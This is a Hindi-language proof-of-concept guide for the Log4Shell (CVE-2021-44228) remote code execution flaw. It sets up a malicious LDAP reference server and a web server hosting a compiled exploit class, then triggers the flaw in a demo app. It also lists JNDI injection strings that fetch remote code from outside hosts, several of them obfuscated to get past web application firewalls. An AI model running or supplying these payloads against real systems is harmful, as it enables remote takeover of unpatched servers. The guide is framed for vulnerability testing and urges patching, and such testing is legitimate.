
CVE-2021-44228 (Log4Shell) के लिए प्रमाण-अवधारणा शोषण, जिसमें JNDI इंजेक्शन, LDAP संदर्भ सर्वर, और WAF बायपास तकनीकें शामिल हैं, Log4j RCE कमजोरियों के परीक्षण के लिए।
1.x संस्करण में अन्य कमजोरियां हैं, हम अनुशंसा करते हैं कि आप नवीनतम संस्करण में अपडेट करें।
Log4Shell (CVE-2021-44228) से जुड़े सुरक्षा सलाह/बुलेटिन
इस प्रोजेक्ट को डाउनलोड करें, एक्सप्लॉइट कोड blob/master/src/main/java/Exploit.java को कंपाइल करें, और एक वेबसर्वर शुरू करें जो कंपाइल किए गए बाइनरी को डाउनलोड करने की अनुमति देता है।
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce
javac Exploit.java
# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888
# make sure python webserver is running the same directory as Exploit.class, to test
curl -I 127.0.0.1:8888/Exploit.class
एक और प्रोजेक्ट डाउनलोड करें और JNDI संदर्भ लौटाने वाला LDAP सर्वर कार्यान्वयन चलाएं https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
एक्टिवेशन कोड बनाएं और चलाएं (एक कमजोर जावा वेब सर्वर पर log4j हमले का अनुकरण करें) blob/master/src/main/java/log4j.java, और आपका कैलकुलेटर ऐप दिखाई देगा।
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# expect the following
# 1. calculator app appear
# 2. in ldapserver console,
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. in webserver console,
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
Tips:
वर्तमान Java संस्करण पर भरोसा न करें कि वह आपको बचाएगा। Log4 को अपडेट करें (या JNDI लुकअप हटाएं)। विस्तार को अक्षम करें (वैसे भी यह एक बहुत बुरा विचार लगता है)।
उदाहरण के लिए:
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
वेब एप्लिकेशन फ़ायरवॉल पर भरोसा न करें।
लुकअप Log4j कॉन्फ़िगरेशन में मनमाने स्थानों पर मान जोड़ने का एक तरीका प्रदान करते हैं।
अंत में रिसाव का कारण बनने के तरीके
LogManager.getLogger().error()
LogManager.getLogger().fatal()
यदि आप ब्लैक-बॉक्स परीक्षण करना चाहते हैं, मेरा सुझाव है कि आप निष्क्रिय स्कैनिंग करें।
मज़े करें!!!
